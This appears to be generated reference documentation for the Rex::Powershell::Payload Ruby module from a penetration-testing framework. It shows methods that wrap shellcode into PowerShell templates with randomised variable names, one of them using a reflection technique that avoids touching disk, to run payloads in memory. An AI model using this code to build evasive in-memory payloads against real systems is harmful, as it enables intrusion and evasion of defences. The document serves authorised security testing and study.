module Rex::Powershell::Payload

Public Class Methods

read_replace_script_template(template_path, filename, hash_sub) click to toggle source
# File lib/rex/powershell/payload.rb, line 7
def self.read_replace_script_template(template_path, filename, hash_sub)
  template_pathname = File.join(template_path, filename)
  template = ''
  File.open(template_pathname, "rb") {|f| template = f.read}
  template % hash_sub
end
to_win32pe_psh(template_path, code) click to toggle source
# File lib/rex/powershell/payload.rb, line 32
def self.to_win32pe_psh(template_path, code)
  hash_sub = {}
  hash_sub[:var_code]                 = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_win32_func]   = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_payload]              = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_size]                 = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_rwx]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_iter]                 = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_syscode]              = Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:shellcode] = Rex::Powershell.to_powershell(code, hash_sub[:var_code])

  read_replace_script_template(template_path, "to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
to_win32pe_psh_net(template_path, code) click to toggle source
# File lib/rex/powershell/payload.rb, line 14
def self.to_win32pe_psh_net(template_path, code)
  rig = Rex::RandomIdentifier::Generator.new()
  rig.init_var(:var_code)
  rig.init_var(:var_kernel32)
  rig.init_var(:var_baseaddr)
  rig.init_var(:var_threadHandle)
  rig.init_var(:var_output)
  rig.init_var(:var_codeProvider)
  rig.init_var(:var_compileParams)
  rig.init_var(:var_syscode)
  rig.init_var(:var_temp)

  hash_sub = rig.to_h
  hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

  read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
to_win32pe_psh_reflection(template_path, code) click to toggle source

Reflection technique prevents the temporary .cs file being created for the .NET compiler Tweaked by shellster Originally from PowerSploit

# File lib/rex/powershell/payload.rb, line 52
def self.to_win32pe_psh_reflection(template_path, code)
  # Intialize rig and value names
  rig = Rex::RandomIdentifier::Generator.new()
  rig.init_var(:func_get_proc_address)
  rig.init_var(:func_get_delegate_type)
  rig.init_var(:var_code)
  rig.init_var(:var_module)
  rig.init_var(:var_procedure)
  rig.init_var(:var_unsafe_native_methods)
  rig.init_var(:var_parameters)
  rig.init_var(:var_return_type)
  rig.init_var(:var_type_builder)
  rig.init_var(:var_buffer)
  rig.init_var(:var_hthread)

  hash_sub = rig.to_h
  hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

  read_replace_script_template(template_path,
                               "to_mem_pshreflection.ps1.template",
                               hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end